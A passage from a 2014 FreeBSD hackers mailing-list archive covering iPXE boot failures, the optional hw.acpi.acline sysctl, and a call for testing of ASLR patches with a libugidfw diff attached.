bug I won't follow up here any = more, but I wanted to wrap up the thread for the archives. JN From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 17 18:26:53 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 68CD2E2A for ; Tue, 17 Jun 2014 18:26:53 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 1FF842CC8 for ; Tue, 17 Jun 2014 18:26:52 +0000 (UTC) Received: from Julian-MBP3.local (etroy.elischer.org [121.45.232.70]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s5HIQDYI068424 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Tue, 17 Jun 2014 11:26:17 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <53A08840.5060001@freebsd.org> Date: Wed, 18 Jun 2014 02:26:08 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Daniel Braniss , Mike Tancsa Subject: Re: iPXE booting latest PCengines alu board References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> <539B47C0.2050400@sentex.net> <5FA602AC-C827-4727-A038-B96FBEF8E6AB@cs.huji.ac.il> <42ECF631-FC15-4036-8CD4-BC7B240AC265@cs.huji.ac.il> In-Reply-To: <42ECF631-FC15-4036-8CD4-BC7B240AC265@cs.huji.ac.il> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 17 Jun 2014 18:26:53 -0000 On 6/17/14, 7:05 PM, Daniel Braniss wrote: > if a gateway is needed, then all is ok. > any ideas? you are giving it the wrong netmask? From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 18 05:40:25 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4664FEB3; Wed, 18 Jun 2014 05:40:25 +0000 (UTC) Received: from kabab.cs.huji.ac.il (kabab.cs.huji.ac.il [132.65.116.12]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id ECE982791; Wed, 18 Jun 2014 05:40:23 +0000 (UTC) Received: from th-04.cs.huji.ac.il ([132.65.80.125]) by kabab.cs.huji.ac.il with esmtp id 1Wx8bY-000NZg-Ev; Wed, 18 Jun 2014 08:40:16 +0300 Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: iPXE booting latest PCengines alu board From: Daniel Braniss In-Reply-To: <53A08840.5060001@freebsd.org> Date: Wed, 18 Jun 2014 08:40:16 +0300 Content-Transfer-Encoding: quoted-printable Message-Id: References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> <539B47C0.2050400@sentex.net> <5FA602AC-C827-4727-A038-B96FBEF8E6AB@cs.huji.ac.il> <42ECF631-FC15-4036-8CD4-BC7B240AC265@cs.huji.ac.il> <53A08840.5060001@freebsd.org> To: Julian Elischer X-Mailer: Apple Mail (2.1878.2) Cc: hackers@freebsd.org, Mike Tancsa X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 18 Jun 2014 05:40:25 -0000 On Jun 17, 2014, at 9:26 PM, Julian Elischer wrote: > On 6/17/14, 7:05 PM, Daniel Braniss wrote: >> if a gateway is needed, then all is ok. >> any ideas? > you are giving it the wrong netmask? >=20 no. BTW, the same setup is being used for PXE, and works (and has been = working since way back :-), it seems our pxe/pxeboot work fine with =91standard=92 PXE, but fails = with iPXE. I tracked it down to the rpc doing a sendutp and !PXE returning status =3D 1, fail, and I see = no traffic on the wire, there should have been an ARP request. just a shot in the dark, but it seems PXE handles correctly the routing = (send to gateway or local net) while iPXE does not. thanks, danny From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 18 06:40:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 63696CF8; Wed, 18 Jun 2014 06:40:05 +0000 (UTC) Received: from locore.org (ns01.locore.org [218.45.21.227]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id E5D7E2C47; Wed, 18 Jun 2014 06:40:03 +0000 (UTC) Received: from localhost (celeron.v4.locore.org [192.168.0.10]) by locore.org (8.14.5/8.14.5/iwasaki) with ESMTP/inet id s5I6SQex044291; Wed, 18 Jun 2014 15:28:26 +0900 (JST) (envelope-from iwasaki@freebsd.org) Date: Wed, 18 Jun 2014 15:28:26 +0900 (JST) Message-Id: <20140618.152826.81987615.iwasaki@freebsd.org> To: cederom@tlen.pl Subject: Re: sysctl hw.acpi.acline From: Mitsuru IWASAKI In-Reply-To: References: <20140617002905.GW31367@funkthat.com> X-Mailer: Mew version 3.3 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: Anthony.B.Jenkins@att.net, freebsd-hackers@freebsd.org, freebsd-acpi@freebsd.org, ag@muc.de X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 18 Jun 2014 06:40:05 -0000 Hi, > > ACPI have tons of optional stuff that isn't required to be present, > > and apparently acline is one of them. Also, acline is only useful > > if there are multiple power sources, what if you have a desktop > > machine always running off a battery, if we defaulted acline=1, then > > you'd complain that the status is wrong... :) > > There is no information in the ACPI Manual that the OID's are optional > and may not exist in some cases. This is exactly the problem, an > undefined and undocumented situation. Maybe its just worth putting a > note :-) > > " > hw.acpi.acline > AC line state (1 means online, 0 means on battery power). > " OK, how about adding the following line? ---- Note that this OID exists only if there is a ACPI Device ID "ACPI0003" in ACPI Namespace of the system. ---- > I expect code based on this oid to work on both desktop and laptop > with no additional guessing. For me this manual information means that > acline oid is always available, and will show 1 in case of desktop > where no battery (maybe no UPS as well) is available. There is no > information that this oid is optional. For desktop/server a battery > power would mean UPS, right, so then I would also expect to see the > battery charge status information.. but I understand this would be > more complicated than in a laptop thus may not be implemented. Still, > I would always expect power source type OID to tell me what is the > power source, even if there can be only one. Unfortunately, UPS is not covered by ACPI specification. I think that new OID would be needed in generic place (not under hw.acpi) in order to get the state of power sources. In that case, hw.acpi.battery should be moved to new place too. Thanks From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 18 09:51:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 65BA5F37; Wed, 18 Jun 2014 09:51:39 +0000 (UTC) Received: from mail-oa0-x229.google.com (mail-oa0-x229.google.com [IPv6:2607:f8b0:4003:c02::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 165522D4F; Wed, 18 Jun 2014 09:51:39 +0000 (UTC) Received: by mail-oa0-f41.google.com with SMTP id l6so1283198oag.28 for ; Wed, 18 Jun 2014 02:51:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=c5FR/pv5FZvHHO02+aZeLhJdKqkep7LRuUaC3bTCcJQ=; b=Z2ilYijD+pFzOYcfiZj7R4JJzcXjXNgjspf5DFY6PGlw2Ps8obcSNaNAbnk3/tm9BH mRxxZ3nzs/V8MMm8B9npQUS+tne2aZq3zoHHCuEGp89tcBcQXk4FhWfsmAnD3OU08450 iUnTT35L6oJNYjjrJhLgZ8YxtYwX8iqVFQwyP4uNai8/KX02AYW4wChMImXO/Lhcie99 SQ3tVQn7kdFfWHVGWcoS40S8MmB1hKv0ae9g6kIC4isCM9OIVJnTSaL7kBQLaxKSMOqW +oWMd3u8JynSwVVEQtkB7gbVn8KRomdmOpbWyTpNiMPGPSS95vFItJFgJTpomBKTXD3q 7oYQ== MIME-Version: 1.0 X-Received: by 10.60.73.39 with SMTP id i7mr755460oev.51.1403085098327; Wed, 18 Jun 2014 02:51:38 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.202.75.207 with HTTP; Wed, 18 Jun 2014 02:51:38 -0700 (PDT) In-Reply-To: <20140618.152826.81987615.iwasaki@freebsd.org> References: <20140617002905.GW31367@funkthat.com> <20140618.152826.81987615.iwasaki@freebsd.org> Date: Wed, 18 Jun 2014 11:51:38 +0200 X-Google-Sender-Auth: KhjdIgN-vSpYllSt0v9GkkAzZYk Message-ID: Subject: Re: sysctl hw.acpi.acline From: CeDeROM To: Mitsuru IWASAKI Content-Type: text/plain; charset=UTF-8 Cc: Anthony Jenkins , freebsd-hackers@freebsd.org, freebsd-acpi@freebsd.org, Armin Gruner X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 18 Jun 2014 09:51:39 -0000 On Wed, Jun 18, 2014 at 8:28 AM, Mitsuru IWASAKI wrote: >> There is no information in the ACPI Manual that the OID's are optional >> and may not exist in some cases. This is exactly the problem, an >> undefined and undocumented situation. Maybe its just worth putting a >> note :-) > > OK, how about adding the following line? > ---- > Note that this OID exists only if there is a ACPI Device ID "ACPI0003" in ACPI Namespace of the system. > ---- Hello Mitsuru! :-) I wanted to ask the list and make sure, in general, if OID can be optional/missing depending on the hardware capabilities. It looks like things are like that - some other OID are missing as well depending on the hardware. I think one general remark could be put into acpi and sysctl manual pages, something like: "Note that some OID will be available only if given hardware supports them, on a different hardware these will be missing which means that feature is not supported." > Unfortunately, UPS is not covered by ACPI specification. I think that > new OID would be needed in generic place (not under hw.acpi) in order > to get the state of power sources. > In that case, hw.acpi.battery should be moved to new place too. I thought acline would be such place - it is even specified in the manual (unlike battery) :-) Now I know assumption must be made that is acline oid is not available then we have a dekstop. But I dont really like assumptions, thats why I prefered to ask first :-) Thank you! :-) Tomek -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 18 18:51:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 845628F6 for ; Wed, 18 Jun 2014 18:51:24 +0000 (UTC) Received: from nm44.bullet.mail.ne1.yahoo.com (nm44.bullet.mail.ne1.yahoo.com [98.138.120.51]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 39F2D2456 for ; Wed, 18 Jun 2014 18:51:23 +0000 (UTC) Received: from [127.0.0.1] by nm44.bullet.mail.ne1.yahoo.com with NNFMP; 18 Jun 2014 18:51:17 -0000 Received: from [98.138.226.178] by nm44.bullet.mail.ne1.yahoo.com with NNFMP; 18 Jun 2014 18:48:22 -0000 Received: from [98.137.12.175] by tm13.bullet.mail.ne1.yahoo.com with NNFMP; 18 Jun 2014 18:48:22 -0000 Received: from [98.137.12.210] by tm14.bullet.mail.gq1.yahoo.com with NNFMP; 18 Jun 2014 18:48:21 -0000 Received: from [127.0.0.1] by omp1018.mail.gq1.yahoo.com with NNFMP; 18 Jun 2014 18:48:21 -0000 X-Yahoo-Newman-Property: ymail-4 X-Yahoo-Newman-Id: 855880.4119.bm@omp1018.mail.gq1.yahoo.com Received: (qmail 15292 invoked by uid 60001); 18 Jun 2014 18:48:21 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1403117301; bh=lzLxhp4o4Pcr4BYZO6dbHcY/R7yzEsJzhM6mhXySJUg=; h=Message-ID:Date:From:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type; b=NWGnvwZNDyuRr3VkZq5z8sPYupdAbuvSQHdCellb0Htk8iRfUJx/IkJxWkg3Eowb8LVhgV31qtW1oeKpuHTsjGVBk7/Vki/2lsF5zxsJyW+DOh2MgPYLv5OlHzVZpeCY4dM+rVya0UDNKVK37XHO25gL6D4mGddZ4MYk3vxRghs= X-YMail-OSG: eWHSpgcVM1nO6laXGCdENQTre2PT1.5cKsccWrdfQHsj9Kp dOonyBh_vkaZ_z1UaTFM8IbpGegZxasUvhHRk9fMkwwcdZxWKTfgD3oxnfMp FXFverUt5Sg_fyEvH7_b7PKy7PfJ1xURGv0uRLdjcgozsIafBXr1xPHg1abf ZfYLQZkmSlKEhxtPz4.cU69h2Wnorj7Yo1GltbIjE3f99rgwiXLRQ9ouq4wa UpJ1U6NwKUvsLlazrnSBxNXdOXcJ2VyNgIqWcqvNTRdN.D9FdbPDlrMKMf3b UlJNtmdqaPS1d93F0pvyk9pGJJ9eUyvikYF0c6LFH41N6tqeq7oPlo68KlkO AxXBVKxQqAyATPk1n2WyvKU107wIl31ffIHcKEOoVGC2z4h9Xn8ixO28YB9L XZF3yHq136oQBhmwUPQiyVosOXWhcaKp_FaD_vg5a5tJPddFEOdne1tQ94qj dgMxQ3gBD6zLrUyeODxGFl1PAOi33GDZN4dXoiOXgNwxWxXjvQOaNEcWY5dX UiGP.cy2GCLWs1Qdm79DmRGKGhBOGSdBHddVahPBiX8LYvN8iWDIPsiFxlKq ox6Pod9WUQhffiaEVyNyEe38vZOrG4eZ2TDk9R8xBr25wZdT.bLlH9jrJ47G ySoSEuEd4d4wECvScCNkCqLdd9qf6q_ow29hioWHPkcuZIQNomirq521kaKt uVqV868yz.rB_PT.jXUte8aScLRZLM56uqb2J3z265gBe_g.sIe49a7BX9Wh 1r80ER.RvJ0L6Qzx76L8YpijjDFeRvFmPwnyJfcY7nL3ITz_M0jbpfbJz77r FTXPkckdqRAi4OnHqlgmD9Kcb4NGd5NY10kpXzIPuEQJMDxWiF6oJMzuMD2K GcYQpyYtHmO_Gr_16lL_s9Ksatads7TXjxeZ8EIr8orY9Q3yibk_z26VU7zx feSNHw9q8QjAOtvPhOMu8KiweyAGytv5YT2u5q8jfZFzIZEOe2n0.Q0kFVvH .9Qwjh3rXaGwzSc.E0VdxQakn67hyJFx1BEI0lBNEbBoaqPZf1LwHruwZEef 0.Y6Qo8kK_ASVHgpSEcCouRpYKYfZRkEXcby4vW1rz0so.8gPG7o1iYKv7ii p7OT2ezKtM00ttPB6D5MSdVJ8rZJjUtv7QVSm9ICul85aIacypXqPqljbKQo MCIC4taQJyLqsdZMl_b_nKHNUHJ7cdGodo.1HrF0G1rZ0xieSZXv92rGWZV6 WMYjGjvBxufYxXG_GOmewkx2O6mfDPELzJrnNfC2a7aSPmmfxYAFajtZD2X4 - Received: from [113.210.133.172] by web163503.mail.gq1.yahoo.com via HTTP; Wed, 18 Jun 2014 11:48:21 PDT X-Rocket-MIMEInfo: 002.001, SGVsbG8sPGJyLz48YnIvPkkgYW0gaW4gdGhlIG1pZHN0IGRpYWdub3N0aWMgbXkgQXBwbGUgUG93ZXJib29rIEc0IHdpdGggTHVidW50dSBsaW51eCBvcGVyYXRpbmcgc3lzdGVtLiBUaGUgcG93ZXJwYyBhcmNoaXRlY3R1cmUgd2lsbCBiZSBteSB3b3JraW5nIHBsYXRmb3JtIGluIHdyaXRpbmcgYXV0b21hdGVkIHNoZWxsIHNjcmlwdGluZyBhbmQgYXV0b21hdGVkIGluc3RhbGxlcnMgc2hlbGwgc2NyaXB0aW5nIGZvciB2YXJpb3VzIHBsYXRmb3JtIGluIHRoZSBtYXJrZXQuIEFzIGEgZnJlZWxhbmNlIGVuZ2kBMAEBAQE- X-Mailer: YahooMailIosMobile/3.5 YahooMailWebService/0.8.190.668 Message-ID: <1403117301.65931.YahooMailIosMobile@web163503.mail.gq1.yahoo.com> Date: Wed, 18 Jun 2014 11:48:21 -0700 From: "YB Tan Sri Dato Sri' Adli a.k.a Dell" Subject: RE: Secure Infrastructure [Crypto signed ISO images] To: "grarpamp@gmail.com" , "freebsd-questions@freebsd.org" In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-security@freebsd.org" , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 18 Jun 2014 18:51:24 -0000 Hello,

I am in the midst diagnostic my Apple Powerbook G4 with Lubuntu linux operating system. The powerpc architecture will be my working platform in writing automated shell scripting and automated installers shell scripting for various platform in the market. As a freelance engineer, i am working with Proton DRB Hicom to design and develop rapid prototyping CAD open source for automobile industries. Please do not hesitate to contact me at +60173623661 at anytime.

Sent from Yahoo Mail for iPhone From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 22 13:53:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C6ABD6B3 for ; Sun, 22 Jun 2014 13:53:12 +0000 (UTC) Received: from mail-qc0-x236.google.com (mail-qc0-x236.google.com [IPv6:2607:f8b0:400d:c01::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 6647E27B9 for ; Sun, 22 Jun 2014 13:53:12 +0000 (UTC) Received: by mail-qc0-f182.google.com with SMTP id m20so5191164qcx.13 for ; Sun, 22 Jun 2014 06:53:11 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:subject:message-id:mime-version:content-type :content-disposition:user-agent; bh=HB+BZ2yiVR923BdZ7oMwxWgFOBt8PGlo3oI/E0n5/pQ=; b=PNYa7djoMzxZBUSgpo/SAwN7s6xtFICR9FCK1QTG9QunyMorclyrIJbpoACNVcUl1C AbQwFPR1pBxnVGgLNmOfKcpeD/KsndlFcbwYHOCzhmim8M/KZ59sKAQVYM5AR3iYBvmu wi4kveZ2L4xrrswCfaA3vwrL2G4LQID1FRvrm15lc4mcmdEaQ1q/t8Hd6JIqva0mwH/h 4HWbhvi+E+8dnIgjPcMkEVUAnl6EYhARAHR8BIYul4kmVbbFQM9Zp2MjgVsu1QGnHRLH dWmSLKY6qDdB33RjBVjAZszXsUE4xkPkC6xV4Voelc7uzQf469qxRNcxvk8Q43MvUxPp O7Vg== X-Received: by 10.140.26.179 with SMTP id 48mr22588515qgv.51.1403445191302; Sun, 22 Jun 2014 06:53:11 -0700 (PDT) Received: from pwnie.vrt.sourcefire.com (moist.vrt.sourcefire.com. [198.148.79.134]) by mx.google.com with ESMTPSA id b51sm9421464qgd.49.2014.06.22.06.53.10 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Sun, 22 Jun 2014 06:53:10 -0700 (PDT) Date: Sun, 22 Jun 2014 09:53:08 -0400 From: Shawn Webb To: freebsd-hackers@freebsd.org Subject: [CFT] New Round of ASLR Patches Against 11-CURRENT Message-ID: <20140622135308.GF1824@pwnie.vrt.sourcefire.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="5me2qT3T17SWzdxI" Content-Disposition: inline X-PGP-Key: http://pgp.mit.edu/pks/lookup?op=vindex&search=0x6A84658F52456EEE User-Agent: Mutt/1.5.23 (2014-03-12) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 22 Jun 2014 13:53:12 -0000 --5me2qT3T17SWzdxI Content-Type: multipart/mixed; boundary="+PbGPm1eXpwOoWkI" Content-Disposition: inline --+PbGPm1eXpwOoWkI Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hey All, Attached is a new patch with the latest work regarding our ASLR implementation. Here's what has changed since the last patch distributed on 24 May 2014: Shawn Webb: Sat Jun 21 20:03:07 2014 -0400: PAX SEGVGUARD: Remove segvguard prior to putting in a separate feature branch Thu Jun 19 21:08:37 2014 -0400: PAX ASLR: More style(9) fixes Thu Jun 19 20:59:44 2014 -0400: PAX ASLR: Add PAX_SYSCTLS to sys/conf/NOTES Thu Jun 19 20:48:42 2014 -0400: PAX ASLR: Remove extra NO_PIE/MK_PIE entries that aren't now needed Wed Jun 11 22:07:51 2014 -0400: PAX ASLR: Rollback code cleanup that removed orig_addr from pax_aslr_mmap(). Wed Jun 11 17:54:12 2014 -0400: PAX ASLR: style(9) changes. Grammar fixes. Code cleanup. Fri May 30 18:36:49 2014 -0400: PAX ASLR: Pull in Oliver Pinter's change to add stack randomization Fri May 30 18:36:01 2014 -0400: Update copyright Oliver Pinter: Wed Jun 4 09:39:48 2014 +0200: PAX ASLR: added FEATURE(aslr, ...) to the kernel, and modify ugidfw to use them Wed May 28 00:27:06 2014 +0200: PAX: fix prison0 initialization after my jail modifications Sun May 25 21:20:23 2014 +0200: PAX: show pax settings in dmesg, and validate some value Sun May 25 19:48:44 2014 +0200: PAX ASLR: make security.pax.aslr sysctls optional Sun May 25 19:15:16 2014 +0200: PAX: check proc->p_ucred Sun May 25 19:11:50 2014 +0200: PAX: added PAX_SYSCTLS kernel option Sun May 25 19:10:16 2014 +0200: PAX ASLR: simplify jail handling Sun May 25 19:00:12 2014 +0200: PAX: hook in pax_init_prison at kern_jail_set Thanks, Shawn --+PbGPm1eXpwOoWkI Content-Type: text/x-diff; charset=us-ascii Content-Disposition: attachment; filename="2014-06-21_aslr.patch" Content-Transfer-Encoding: quoted-printable diff --git a/lib/libugidfw/ugidfw.c b/lib/libugidfw/ugidfw.c index 0dc423d..a4a38bc 100644 --- a/lib/libugidfw/ugidfw.c +++ b/lib/libugidfw/ugidfw.c @@ -36,6 +36,9 @@ #include #include #include +#include +#include +#include =20 #include =20 @@ -44,6 +47,8 @@ #include #include #include +#include +#include =20 #include "ugidfw.h" =20 @@ -329,14 +334,19 @@ bsde_rule_to_string(struct mac_bsdextended_rule *rule= , char *buf, size_t buflen) cur +=3D len; } if (rule->mbr_object.mbo_flags & MBO_FSID_DEFINED) { - numfs =3D getmntinfo(&mntbuf, MNT_NOWAIT); - for (i =3D 0; i < numfs; i++) - if (memcmp(&(rule->mbr_object.mbo_fsid), - &(mntbuf[i].f_fsid), - sizeof(mntbuf[i].f_fsid)) =3D=3D 0) - break; - len =3D snprintf(cur, left, "filesys %s ", - i =3D=3D numfs ? "???" : mntbuf[i].f_mntonname); + if (rule->mbr_object.mbo_inode =3D=3D 0) { + numfs =3D getmntinfo(&mntbuf, MNT_NOWAIT); + for (i =3D 0; i < numfs; i++) + if (memcmp(&(rule->mbr_object.mbo_fsid), + &(mntbuf[i].f_fsid), + sizeof(mntbuf[i].f_fsid)) =3D=3D 0) + break; + len =3D snprintf(cur, left, "filesys %s ", + i =3D=3D numfs ? "???" : mntbuf[i].f_mntonname); + } else { + len =3D snprintf(cur, left, "filesys %s ", + rule->mbr_object.mbo_paxpath); + } if (len < 0 || len > left) goto truncated; left -=3D len; @@ -500,6 +510,33 @@ bsde_rule_to_string(struct mac_bsdextended_rule *rule,= char *buf, size_t buflen) cur +=3D len; } =20 + if (rule->mbr_pax) { + len =3D snprintf(cur, left, " paxflags "); + if (len < 0 || len > left) + goto truncated; + left -=3D len; + cur +=3D len; + + if (rule->mbr_pax & MBI_FORCE_ASLR_ENABLED) { + len =3D snprintf(cur, left, "A"); + if (len < 0 || len > left) + goto truncated; + + left -=3D len; + cur +=3D len; + } + + if (rule->mbr_pax & MBI_FORCE_ASLR_DISABLED) { + len =3D snprintf(cur, left, "a"); + if (len < 0 || len > left) + goto truncated; + + left -=3D len; + cur +=3D len; + } + + } + return (0); =20 truncated: @@ -507,8 +544,8 @@ truncated: } =20 int -bsde_parse_uidrange(char *spec, uid_t *min, uid_t *max, - size_t buflen, char *errstr){ +bsde_parse_uidrange(char *spec, uid_t *min, uid_t *max, size_t buflen, cha= r *errstr) +{ struct passwd *pwd; uid_t uid1, uid2; char *spec1, *spec2, *endp; @@ -556,8 +593,8 @@ bsde_parse_uidrange(char *spec, uid_t *min, uid_t *max, } =20 int -bsde_parse_gidrange(char *spec, gid_t *min, gid_t *max, - size_t buflen, char *errstr){ +bsde_parse_gidrange(char *spec, gid_t *min, gid_t *max, size_t buflen, cha= r *errstr) +{ struct group *grp; gid_t gid1, gid2; char *spec1, *spec2, *endp; @@ -766,10 +803,15 @@ bsde_parse_type(char *spec, int *type, size_t buflen,= char *errstr) } =20 int -bsde_parse_fsid(char *spec, struct fsid *fsid, size_t buflen, char *errstr) +bsde_parse_fsid(char *spec, struct fsid *fsid, ino_t *inode, size_t buflen= , char *errstr) { size_t len; struct statfs buf; + struct stat sb; + int fd, paxstatus; + size_t bufsz; + + *inode =3D 0; =20 if (statfs(spec, &buf) < 0) { len =3D snprintf(errstr, buflen, "Unable to get id for %s: %s", @@ -779,6 +821,21 @@ bsde_parse_fsid(char *spec, struct fsid *fsid, size_t = buflen, char *errstr) =20 *fsid =3D buf.f_fsid; =20 + if (strcmp(buf.f_fstypename, "devfs") !=3D 0) { + bufsz =3D sizeof(int); + if (!sysctlbyname("kern.features.aslr", &paxstatus, &bufsz, + NULL, 0)) { + fd =3D open(spec, O_RDONLY); + if (fd !=3D -1) { + if (fstat(fd, &sb) =3D=3D 0) + if(S_ISDIR(sb.st_mode) =3D=3D 0) + *inode =3D sb.st_ino; + + close(fd); + } + } + } + return (0); } =20 @@ -852,13 +909,18 @@ bsde_parse_object(int argc, char *argv[], return (-1); } if (bsde_parse_fsid(argv[current+1], &fsid, - buflen, errstr) < 0) + &object->mbo_inode, buflen, errstr) < 0) return (-1); flags |=3D MBO_FSID_DEFINED; if (nextnot) { neg ^=3D MBO_FSID_DEFINED; nextnot =3D 0; } + if (object->mbo_inode) + snprintf(object->mbo_paxpath, MAXPATHLEN, "%s", + argv[current+1]); + else + memset(object->mbo_paxpath, 0x00, MAXPATHLEN); current +=3D 2; } else if (strcmp(argv[current], "suid") =3D=3D 0) { flags |=3D MBO_SUID; @@ -991,12 +1053,48 @@ bsde_parse_mode(int argc, char *argv[], mode_t *mode= , size_t buflen, } =20 int +bsde_parse_paxflags(int argc, char *argv[], uint32_t *pax, size_t buflen, = char *errstr) +{ + size_t len; + int i; + + if (argc =3D=3D 0) { + len =3D snprintf(errstr, buflen, "paxflags expects mode value"); + return (-1); + } + + if (argc !=3D 1) { + len =3D snprintf(errstr, buflen, "'%s' unexpected", argv[1]); + return (-1); + } + + *pax =3D 0; + for (i =3D 0; i < strlen(argv[0]); i++) { + switch (argv[0][i]) { + case 'A': + *pax |=3D MBI_FORCE_ASLR_ENABLED; + break; + case 'a': + *pax |=3D MBI_FORCE_ASLR_DISABLED; + break; + default: + len =3D snprintf(errstr, buflen, "Unknown mode letter: %c", + argv[0][i]); + return (-1); + }=20 + } + + return (0); +} + +int bsde_parse_rule(int argc, char *argv[], struct mac_bsdextended_rule *rule, size_t buflen, char *errstr) { int subject, subject_elements, subject_elements_length; int object, object_elements, object_elements_length; int mode, mode_elements, mode_elements_length; + int paxflags, paxflags_elements, paxflags_elements_length=3D0; int error, i; size_t len; =20 @@ -1037,11 +1135,23 @@ bsde_parse_rule(int argc, char *argv[], struct mac_= bsdextended_rule *rule, return (-1); } =20 + /* Search forward for paxflags */ + paxflags =3D -1; + for (i =3D 1; i < argc; i++) + if (strcmp(argv[i], "paxflags") =3D=3D 0) + paxflags =3D i; + + if (paxflags >=3D 0) { + paxflags_elements =3D paxflags + 